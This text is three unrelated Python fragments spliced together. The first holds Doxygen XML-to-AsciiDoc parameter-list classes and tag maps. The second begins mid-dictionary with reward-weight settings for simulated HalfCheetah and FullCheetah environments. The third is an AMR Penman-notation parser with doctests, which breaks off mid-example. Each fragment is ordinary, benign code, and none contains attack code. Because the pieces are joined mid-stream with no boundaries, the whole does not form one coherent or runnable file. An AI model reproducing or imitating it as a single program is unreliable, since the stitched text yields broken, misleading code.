# Parameter description lists ################################################################################################### class ParameterList(NestedDescriptionElement, NamedSection): """Special section containing a list of parameter descriptions.""" def __init__(self, language_tag: str, name: str, *contents: NestedDescriptionElement): NestedDescriptionElement.__init__(self, language_tag, *contents) NamedSection.__init__(self, name) def to_asciidoc(self, context: AsciiDocContext = None) -> str: return "" def __repr__(self) -> str: return f"{self.__class__.__name__}: {self.name}" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "ParameterList": return cls(language_tag, xml_element.get("kind", "")) class ParameterItem(NestedDescriptionElement): """Combination of name, type and description of a parameter.""" def first_name(self) -> Optional["ParameterName"]: return self.first_child_of_type(ParameterName) def names(self) -> Iterator["ParameterName"]: return self.children_of_type(ParameterName) def description(self) -> Optional["ParameterDescription"]: return self.first_child_of_type(ParameterDescription) class ParameterName(NestedDescriptionElement): """Name or type of a single parameter. Some parameters only have a name, while others can contain references to types. Attributes: name: Name of the parameter. direction: If supported, whether this is an in-parameter, out-parameter, or both. """ name: Optional[str] direction: Optional[str] def __init__(self, language_tag: str, name=None, direction=None, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.name = name self.direction = direction def __repr__(self) -> str: return f"{self.__class__.__name__}: {self.name or ''} [{self.direction or ''}]" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "ParameterName": return cls(language_tag, direction=xml_element.get("direction", None)) def add_text(self, text: str) -> None: self.name = text class ParameterDescription(ParaContainer): """Description of a single parameter.""" ################################################################################################### # Special functionality ################################################################################################### class Skipped(PlainText): """An item that is skipped, either because it must be ignored or because it is not supported.""" def add_text(self, text: str) -> None: """Ignored.""" # Map of element tags for which a new element is to be constructed and added the the parent. NEW_ELEMENT: Mapping[str, Type[DescriptionElement]] = { "anchor": Anchor, "blockquote": BlockQuote, "bold": Style, "center": Center, "codeline": CodeLine, "computeroutput": Style, "del": Style, "dot": Diagram, "emoji": Emoji, "emphasis": Style, "entry": Entry, "formula": Formula, "heading": Heading, "highlight": Style, "hruler": HorizontalRuler, "image": Image, "ins": Style, "itemizedlist": ListContainer, "listitem": ListItem, "orderedlist": ListContainer, "para": Para, "parameterdescription": ParameterDescription, "parameteritem": ParameterItem, "parameterlist": ParameterList, "parametername": ParameterName, "parblock": ParBlock, "plantuml": Diagram, "preformatted": Verbatim, "programlisting": ProgramListing, "ref": Ref, "row": Row, "s": Style, "sect1": Section, "sect2": Section, "sect3": Section, "sect4": Section, "sect5": Section, "sect6": Section, "sect7": Section, "sect8": Section, "sect9": Section, "simplesect": Admonition, "small": Style, "strike": Style, "subscript": Style, "superscript": Style, "table": Table, "ulink": Ulink, "underline": Style, "verbatim": Verbatim, "xrefsect": Admonition, } # Map of element tags that update the parent element. UPDATE_PARENT: Mapping[str, Union[Type, Tuple[Type, ...]]] = { "caption": Table, "title": (Admonition, Section), "xreftitle": Admonition, } # Map of element tags for which the children update its parent. USE_PARENT = { "parameternamelist": ParameterItem, "xrefdescription": Admonition, "htmlonly": object, "xmlonly": object, } # Element tags to ignore, including their nested content. IGNORE = { "docbookonly", "manonly", "rtfonly", "latexonly", "internal", } # Tags known to be unsupported
'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetahSquat2dof': { # 6 DoF 'Energyz-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'Energy0-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.1, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyPoint25-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.25, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyAlt-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0., 'horizontal_weight': 0.1, 'energy_weights': 1.5, }, }, 'HalfCheetahSquat4dof': { # 6 DoF 'Energyz-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'Energy0-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.25, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyPoint1-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.1, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyPoint25-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.25, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyAlt-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0., 'horizontal_weight': 0.1, 'energy_weights': 1.5, }, }, 'HalfCheetahSquat6dof': { # 6 DoF 'Energyz-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'Energy0-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.25, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyPoint1-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.1, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyPoint25-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0.25, 'horizontal_weight': 0.1, 'energy_weights': 0, }, 'EnergyAlt-v0': { 'distance_weigth': 5.0, 'ctrl_cost_weight': 0., 'horizontal_weight': 0.1, 'energy_weights': 1.5, }, }, 'HalfCheetah2dof': { # 6 DoF 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetah2dofv2': { # 6 DoF 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetah2dofv3': { # 6 DoF 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetah2dofv4': { # 6 DoF 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetah2dofv5': { # 6 DoF 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, 'EnergyOne-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 1., }, }, 'HalfCheetah': { # 6 DoF 'EnergySix-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':6.0, }, 'EnergyFour-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':4.0, }, 'EnergyTwo-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':2.0, }, 'EnergyOnePoint5-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':1.5, }, 'EnergyOne-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':1., }, 'EnergyPoint5-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':0.5, }, 'EnergyPoint1-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':0.1, }, 'Energy0-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':0, }, 'Symloss-v0': { 'forward_reward_weight':1.0, 'ctrl_cost_weight':0.1, 'energy_weights':0, }, 'Symdup-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, }, 'Energy0-v1': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'half_cheetah_v2.xml', }, 'Symloss-v1': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'half_cheetah_v2.xml', }, 'Symdup-v1': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'half_cheetah_v2.xml', }, 'Energyz-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, }, }, 'FullCheetahHeavy': { # 6 DoF 'MinSpring-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', }, 'MinSpring-v00': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', }, 'MinSpring-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 1 }, 'MinSpring-v25': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 1 }, 'MinSpring-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 3 }, 'MinSpring-v45': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 3 }, 'MinSpring-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 5 }, 'MinSpring-v65': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv6.xml', "speed": 5 }, 'LessSpring-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv4.xml', }, 'LessSpring-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv4.xml', "speed":1 }, 'LessSpring-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv4.xml', "speed": 3 }, 'LessSpring-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv4.xml', "speed": 5 }, 'MoreSpring-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv5.xml', }, 'MoreSpring-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv5.xml', "speed":1 }, 'MoreSpring-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv5.xml', "speed": 3 }, 'MoreSpring-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv5.xml', "speed": 5 }, 'ExSpring-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', }, 'ExSpring-v00': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', }, 'ExSpring-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 1 }, 'ExSpring-v25': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0., 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 1 }, 'ExSpring-v210': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 1 }, 'ExSpring-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 3 }, 'ExSpring-v45': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0., 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 3 }, 'ExSpring-v410': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 3 }, 'ExSpring-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 5 }, 'ExSpring-v65': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 5 }, 'ExSpring-v610': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv7.xml', "speed": 5 }, 'Energy0-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', }, 'Energy0-v00': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', }, 'Energy0-v1': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed":0.5 }, 'Energy0-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed":1 }, 'Energy0-v25': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 1 }, 'Energy0-v3': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed":2 }, 'Energy0-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 3 }, 'Energy0-v45': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 3 }, 'Energy0-v5': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 4 }, 'Energy0-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 5 }, 'Energy0-v65': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.25, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyv3.xml', "speed": 5 }, 'RealFC-v1': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.25 # 5m/s:0.25 10m/s:0.5 15m/s:0.75 20m/s:1 25m/s:1.25 30m/s: 1.5 }, 'RealFC-v2': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.5 }, 'RealFC-v3': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.75 }, 'RealFC-v4': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1 }, 'RealFC-v5': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.25 }, 'RealFC-v6': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.5 }, 'RealFCT-v1': { 'forward_reward_weight': 10.0, 'ctrl_cost_weight': 0., 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.25, "walkstyle": "trot", # 5m/s:0.25 10m/s:0.5 15m/s:0.75 20m/s:1 25m/s:1.25 30m/s: 1.5 }, 'RealFCT-v2': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.5, "walkstyle": "trot", }, 'RealFCT-v3': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.75, "walkstyle": "trot", }, 'RealFCT-v4': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1, "walkstyle": "trot", }, 'RealFCT-v5': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.25, "walkstyle": "trot", }, 'RealFCT-v6': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.5, "walkstyle": "trot", }, 'RealFCG-v1': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.25, "walkstyle": "gallop", # 5m/s:0.25 10m/s:0.5 15m/s:0.75 20m/s:1 25m/s:1.25 30m/s: 1.5 }, 'RealFCG-v2': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.5, "walkstyle": "gallop", }, 'RealFCG-v3': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 0.75, "walkstyle": "gallop", }, 'RealFCG-v4': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1, "walkstyle": "gallop", }, 'RealFCG-v5': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.25, "walkstyle": "gallop", }, 'RealFCG-v6': { 'forward_reward_weight': 5.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'xml_file': 'full_cheetah_heavyReal.xml', "speed": 1.5, "walkstyle": "gallop", }, 'MinSpringGc-v0': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'contact_cost_weight':8e-4, 'xml_file': 'full_cheetah_heavyv6.xml', "walkstyle": "gallop", }, 'MinSpringGc-v2': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'contact_cost_weight':8e-4, 'xml_file': 'full_cheetah_heavyv6.xml', "walkstyle": "gallop", "speed": 1 }, 'MinSpringGc-v4': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights': 0, 'contact_cost_weight':8e-4, 'xml_file': 'full_cheetah_heavyv6.xml', "walkstyle": "gallop", "speed": 3 }, 'MinSpringGc-v6': { 'forward_reward_weight': 1.0, 'ctrl_cost_weight': 0.1, 'energy_weights':
<reponame>NickChapman/humangen #!/usr/bin/env python2.7 # coding=utf-8 ''' Parser for Abstract Meaning Represention (AMR) annotations in Penman format. A *parsing expression grammar* (PEG) for AMRs is specified in amr.peg and the AST is built by the Parsimonious library (https://github.com/erikrose/parsimonious). The resulting graph is represented with the AMR class. When called directly, this script runs some cursory unit tests. If the AMR has ISI-style inline alignments, those are stored in the AMR object as well. TODO: Include the smatch evaluation code (released at http://amr.isi.edu/evaluation.html under the MIT License). @author: <NAME> (<EMAIL>) @since: 2015-05-05 ''' from __future__ import print_function import os import glob import re from collections import defaultdict, Counter from nltk.parse import DependencyGraph from parsimonious.exceptions import ParseError from parsimonious.grammar import Grammar def clean_grammar_file(s): return re.sub('\n[ \t]+', ' ', re.sub(r'#.*', '', s.replace('\t', ' ').replace('`', '_backtick'))) def path_to_amr_peg(): files = glob.iglob('../../**', recursive=True) for file in files: file_path, filename = os.path.split(file) if filename == 'amr.peg': return file with open(path_to_amr_peg()) as inF: grammar = Grammar(clean_grammar_file(inF.read())) class Var(object): def __init__(self, name): self._name = name def is_constant(self): return False def __repr__(self): return 'Var(' + self._name + ')' def __str__(self): return self._name def __call__(self, align_key='', append=False): return self._name + (align_key if append else '') def __eq__(self, that): return type(that) == type(self) and self._name == that._name def __hash__(self): return hash(repr(self)) class Concept(object): RE_FRAME_NUM = re.compile(r'-\d\d$') def __init__(self, name): self._name = name def is_constant(self): return False def is_frame(self): return self.RE_FRAME_NUM.search(self._name) is not None def __repr__(self): return 'Concept(' + self._name + ')' def __str__(self, align_key='', **kwargs): return self._name + align_key def __call__(self, *args, **kwargs): return self.__str__(*args, **kwargs) def __eq__(self, that): return type(that) == type(self) and self._name == that._name def __hash__(self): return hash(repr(self)) class AMRConstant(object): def __init__(self, value): self._value = value def is_constant(self): return True def is_frame(self): return False def __repr__(self): return 'Const(' + self._value + ')' def __str__(self, align_key='', **kwargs): return self._value + align_key def __call__(self, *args, **kwargs): return self.__str__(*args, **kwargs) def __eq__(self, that): return type(that) == type(self) and self._value == that._value def __hash__(self): return hash(repr(self)) class AMRString(AMRConstant): def __str__(self, align_key='', **kwargs): return '"' + self._value + '"' + align_key def __repr__(self): return '"' + self._value + '"' class AMRNumber(AMRConstant): def __repr__(self): return 'Num(' + self._value + ')' class AMRError(Exception): pass class AMRSyntaxError(Exception): pass class AMR(DependencyGraph): ''' An AMR annotation. Constructor parses the Penman notation. Does not currently provide functionality for manipulating the AMR structure, but subclassing from DependencyGraph does provide the contains_cycle() method. >>> s = """ \ (b / business :polarity - \ :ARG1-of (r / resemble-01 \ :ARG2 (b2 / business \ :mod (s / show-04)))) \ """ >>> a = AMR(s) >>> a (b / business :polarity - :ARG1-of (r / resemble-01 :ARG2 (b2 / business :mod (s / show-04)))) >>> a.reentrancies() Counter() >>> a.contains_cycle() False >>> a = AMR("(h / hug-01 :ARG0 (y / you) :ARG1 y :mode imperative)") >>> a (h / hug-01 :ARG0 (y / you) :ARG1 y :mode imperative) >>> a.reentrancies() Counter({Var(y): 1}) >>> a.contains_cycle() False >>> a = AMR('(h / hug-01 :ARG1 (p / person :ARG0-of h))') >>> a (h / hug-01 :ARG1 (p / person :ARG0-of h)) >>> a.reentrancies() Counter({Var(h): 1}) >>> a.triples() #doctest:+NORMALIZE_WHITESPACE [(Var(TOP), ':top', Var(h)), (Var(h), ':instance-of', Concept(hug-01)), (Var(h), ':ARG1', Var(p)), (Var(p), ':instance-of', Concept(person)), (Var(p), ':ARG0-of', Var(h))] >>> sorted(a.contains_cycle(), key=str) [Var(h), Var(p)] >>> a = AMR('(h / hug-01 :ARG0 (y / you) :mode imperative \ :ARG1 (p / person :ARG0-of (w / want-01 :ARG1 h)))') >>> # Hug someone who wants you to! >>> sorted(a.contains_cycle(), key=str) [Var(h), Var(p), Var(w)] >>> a = AMR('(w / wizard \ :name (n / name :op1 "Albus" :op2 "Percival" :op3 "Wulfric" :op4 "Brian" :op5 "Dumbledore"))') >>> a (w / wizard :name (n / name :op1 "Albus" :op2 "Percival" :op3 "Wulfric" :op4 "Brian" :op5 "Dumbledore")) # with automatic alignments # at_0 a_1 glance_2 i_3 can_4 distinguish_5 china_6 from_7 arizona_8 ._9 >>> a = AMR('(p / possible~e.4 :domain~e.1 (d / distinguish-01~e.5 :arg0 (i / i~e.3) \ :arg1 (c / country :wiki~e.7 "china"~e.6 :name (n / name :op1 "china"~e.6)) \ :arg2 (s / state :wiki~e.7 "arizona"~e.8 :name (n2 / name :op1 "arizona"~e.8)) \ :manner~e.0 (g / glance-01~e.2 :arg0 i)))') >>> a (p / possible~e.4 :domain~e.1 (d / distinguish-01~e.5 :arg0 (i / i~e.3) :arg1 (c / country :wiki~e.7 "china"~e.6 :name (n / name :op1 "china"~e.6)) :arg2 (s / state :wiki~e.7 "arizona"~e.8 :name (n2 / name :op1 "arizona"~e.8)) :manner~e.0 (g / glance-01~e.2 :arg0 i))) >>> sorted(a.alignments().items(), key=str) #doctest:+NORMALIZE_WHITESPACE [((Var(c), ':wiki', "china"), 'e.6'), ((Var(d), ':instance-of', Concept(distinguish-01)), 'e.5'), ((Var(g), ':instance-of', Concept(glance-01)), 'e.2'), ((Var(i), ':instance-of', Concept(i)), 'e.3'), ((Var(n), ':op1', "china"), 'e.6'), ((Var(n2), ':op1', "arizona"), 'e.8'), ((Var(p), ':instance-of', Concept(possible)), 'e.4'), ((Var(s), ':wiki', "arizona"), 'e.8')] >>> sorted(a.role_alignments().items(), key=str) #doctest:+NORMALIZE_WHITESPACE [((Var(c), ':wiki', "china"), 'e.7'), ((Var(d), ':manner', Var(g)), 'e.0'), ((Var(p), ':domain', Var(d)), 'e.1'), ((Var(s), ':wiki', "arizona"), 'e.7')] >>> print(a(alignments=False)) (p / possible :domain (d / distinguish-01 :arg0 (i / i) :arg1 (c / country :wiki "china" :name (n / name :op1 "china")) :arg2 (s / state :wiki "arizona" :name (n2 / name :op1 "arizona")) :manner (g / glance-01 :arg0 i))) >>> a = AMR("(h / hug-01~e.2 :polarity~e.1 -~e.1 :ARG0 (y / you~e.3) :ARG1 y \ :mode~e.0 imperative~e.5 :result (s / silly-01~e.4 :ARG1 y))", \ "Do n't hug yourself silly !".split()) >>> a (h / hug-01~e.2[hug] :polarity~e.1[n't] -~e.1[n't] :ARG0 (y / you~e.3[yourself]) :ARG1 y :mode~e.0[Do] imperative~e.5[!] :result (s / silly-01~e.4[silly] :ARG1 y)) >>> a = AMR("(h / hug-01~e.3 :ARG0 (a / and~e.1 :op1 (y / you~e.0) :op2 (i / i~e.2)) \ :ARG1 (a2 / and~e.5 :op1 (s / she~e.4) :op2 (h2 / he~e.6)))", \ "You and I hug her and him".split()) >>> a (h / hug-01~e.3[hug] :ARG0 (a / and~e.1[and] :op1 (y / you~e.0[You]) :op2 (i / i~e.2[I])) :ARG1 (a2 / and~e.5[and] :op1 (s / she~e.4[her]) :op2 (h2 / he~e.6[him]))) >>> a = AMR("(a / and~e.5 :op1 (e / eat-01~e.2 :ARG0 (c / cat~e.1,8 :poss~e.0,8 (i / i~e.0,8)) \ :time~e.3 (d / dawn~e.4)) \ :op2 (e2 / eat-01~e.2 :ARG0 (c2 / cat~e.1,6 :poss~e.6 (y / you~e.6)) \ :time~e.7 (a2 / after~e.7 :op1 e~e.9)))", \ "my cat eats at dawn and yours after mine does".split()) >>> a (a / and~e.5[and] :op1 (e / eat-01~e.2[eats] :ARG0 (c / cat~e.1,8[cat,mine] :poss~e.0,8[my,mine] (i / i~e.0,8[my,mine])) :time~e.3[at] (d / dawn~e.4[dawn])) :op2 (e2 / eat-01~e.2[eats] :ARG0 (c2 / cat~e.1,6[cat,yours] :poss~e.6[yours] (y / you~e.6[yours])) :time~e.7[after] (a2 / after~e.7[after] :op1 e~e.9[does]))) >>> a = AMR('(r / reduce-01~e.8 :ARG0 (t / treat-04~e.0 :ARG1~e.1 (c / cell-line~e.3,4 \ :mod (d2 / disease :name (n3 / name :op1 "CRC"~e.2))) :ARG2~e.5 (s / small-molecule \ :name (n / name :op1 "U0126"~e.6))) :ARG1 (l / level~e.11 :quant-of (n6 / nucleic-acid \ :name (n4 / name :op1 "mRNA"~e.10) :ARG0-of (e2 / encode-01 :ARG1 (p / protein \ :name (n5 / name :op1 "serpinE2"~e.9))))) :manner~e.7 (m / marked~e.7) \ :ARG0-of (i / indicate-01~e.13 :ARG1~e.14 (l2 / likely-01~e.19 \ :ARG1 (d / depend-01~e.20 :ARG0 (e3 / express-03~e.15 :ARG2 p~e.17) \ :ARG1~e.21 (a / activity-06~e.23 :ARG0 (e / enzyme \ :name (n2 / name :op1 "ERK"~e.22)))))))', \ "Treatment of CRC cell lines with U0126 markedly reduced serpinE2 mRNA levels , indicating that expression of serpinE2 is likely dependent of ERK activity".split()) >>> a (r / reduce-01~e.8[reduced] :ARG0 (t / treat-04~e.0[Treatment] :ARG1~e.1[of] (c / cell-line~e.3,4[cell,lines] :mod (d2 / disease :name (n3 / name :op1 